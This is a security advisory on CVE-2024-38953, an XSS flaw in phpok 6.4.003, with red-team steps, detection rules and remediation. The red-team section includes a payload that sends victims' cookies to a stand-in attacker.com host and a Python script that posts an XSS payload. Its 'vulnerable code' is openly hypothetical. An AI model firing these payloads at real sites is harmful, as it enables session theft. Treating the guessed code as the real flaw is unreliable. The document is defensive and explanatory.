CVE-2024-38953

Executive Summary

CVE-2024-38953 is a Cross-Site Scripting (XSS) vulnerability identified in phpok version 6.4.003. The flaw resides in the ok_f() method within the framework/api/upload_control.php file. An attacker can inject arbitrary JavaScript or HTML into the application, leading to session hijacking, data theft, or defacement. The vulnerability is publicly known but remains unpatched, with no official fix or advisory from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is elevated due to the lack of a patch.

Supply Chain & Package Security

This vulnerability affects the phpok framework, which is a PHP-based content management system. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, organizations using phpok should treat this as a critical supply chain risk, as the unpatched component can be exploited in production environments.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but based on the vulnerability type and impact, a realistic assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must visit a crafted URL
• Scope (S): Changed (C) – impacts beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS v3.1 Score: 6.1 (Medium)

Threat Level: Medium – Exploitation requires user interaction, but the lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability is a stored/reflected XSS in the ok_f() method of upload_control.php. The ok_f() function is responsible for handling file upload responses and likely echoes user-controlled input (e.g., file names, error messages) without proper sanitization or encoding. An attacker can craft a malicious payload that, when processed by ok_f(), executes in the victim's browser.

Root Cause: Insufficient input validation and output encoding in the ok_f() method. The application fails to escape HTML entities or sanitize JavaScript, allowing injection of arbitrary scripts.

Attack Vector: An attacker can send a crafted request to the upload endpoint, injecting XSS payloads into parameters that are later reflected by ok_f(). For example, a malicious file name or error message containing <script>alert(1)</script>.

Impact: Successful exploitation can lead to:

• Session cookie theft
• Redirection to malicious sites
• Defacement of the application
• Keylogging or credential harvesting

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. Below is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (phpok 6.4.003):

function ok_f($msg) {
    echo $msg; // Directly echoes user input without sanitization
}

Patched Code (Hypothetical):

function ok_f($msg) {
    echo htmlspecialchars($msg, ENT_QUOTES, 'UTF-8'); // Properly encodes HTML entities
}

The fix would involve using htmlspecialchars() or similar functions to escape output, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• phpok 6.4.003 installed and accessible
• A web browser or tool like Burp Suite

Exploit Steps:

1. Identify the upload endpoint (e.g., /framework/api/upload_control.php).
2. Craft a POST request with a malicious parameter, such as msg=<script>alert('XSS')</script>.
3. Send the request and observe the response. The script will execute if the ok_f() method reflects the input.

Example Payload:

POST /framework/api/upload_control.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

msg=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Automation with Python:

import requests

url = "http://target.com/framework/api/upload_control.php"
payload = {"msg": "<script>alert('XSS')</script>"}
response = requests.post(url, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for unusual parameters in POST requests to upload_control.php.
• Look for patterns like <script>, onerror=, or javascript: in request bodies.
• Use WAF rules to block common XSS payloads.

Hunting:

• Search logs for requests containing msg= with HTML/JavaScript tags.
• Check for anomalous user agents or repeated requests to the upload endpoint.

Mitigation:

• Apply input validation and output encoding as a temporary fix.
• Restrict access to the upload endpoint via IP whitelisting or authentication.
• Deploy a Web Application Firewall (WAF) with XSS rules.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /framework/api/upload_control.php with msg= parameter containing HTML/JavaScript.
  • Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).

• File IOCs:

  • Modified upload_control.php file (if attacker patches it).
  • Suspicious log entries in web server logs (e.g., alert(1) in request body).

• Behavioral IOCs:

  • Unexpected pop-ups or redirects in the application.
  • Unauthorized changes to user sessions or data.

Detection Engineering

YARA Rule

rule CVE_2024_38953_XSS_phpok {
    meta:
        description = "Detects XSS payloads targeting phpok 6.4.003 upload_control.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38953"
    strings:
        $xss1 = "<script" ascii nocase
        $xss2 = "onerror=" ascii nocase
        $xss3 = "javascript:" ascii nocase
        $path = "upload_control.php" ascii nocase
    condition:
        $path and (any of ($xss*))
}

Sigma Rule

title: CVE-2024-38953 XSS in phpok upload_control.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against phpok 6.4.003
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'upload_control.php'
        cs-uri-query|contains: 'msg='
        cs-uri-query|re: '(<script|onerror=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate file names containing script tags (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38953 XSS in phpok upload_control.php"; flow:to_server,established; content:"POST"; http_method; content:"upload_control.php"; http_uri; content:"msg="; http_client_body; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize all user inputs in ok_f() using htmlspecialchars() or strip_tags().
2. Output Encoding: Encode output to prevent script execution.
3. Access Control: Restrict access to the upload endpoint to authenticated users only.
4. WAF Rules: Deploy a Web Application Firewall with rules to block XSS payloads.

Long-Term Fix:

• Monitor the phpok vendor for an official patch. If none is released, consider migrating to an alternative CMS.
• Conduct a security audit of the entire phpok codebase for similar vulnerabilities.

Workaround:

• Disable the upload functionality if not required.
• Use a reverse proxy to filter malicious requests.

Valters IT
Securing Digital Frontiers